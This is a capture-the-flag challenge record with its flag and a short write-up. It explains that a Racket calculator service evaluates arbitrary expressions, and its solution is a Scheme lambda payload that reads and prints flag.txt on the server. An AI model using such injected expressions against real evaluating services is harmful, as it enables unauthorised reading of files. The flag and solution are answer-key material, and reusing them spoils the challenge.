write-ups-challenges-2020-2021/scheming-schemer/third

== Title ==

The Scheming Schemer 3

== Description ==

Just like the previous 2:

== Flag ==

IGCTF{GoodJob!YouFoundThemAll!}

== Files == Participants should receive the calculator-app.rkt file.

== Deployment == Something something telnet/netcat

== Solution/Writeup == The code now allows an arbitrary expression in the first position, so we can create a lambda that will be executed by the interpreter.

Example input to print the solution: ((lambda () (call-with-input-file "flag.txt" (lambda (input-port) (let loop ((x (read-char input-port))) (if (not (eof-object? x)) (begin (display x) (loop (read-char input-port)))))))))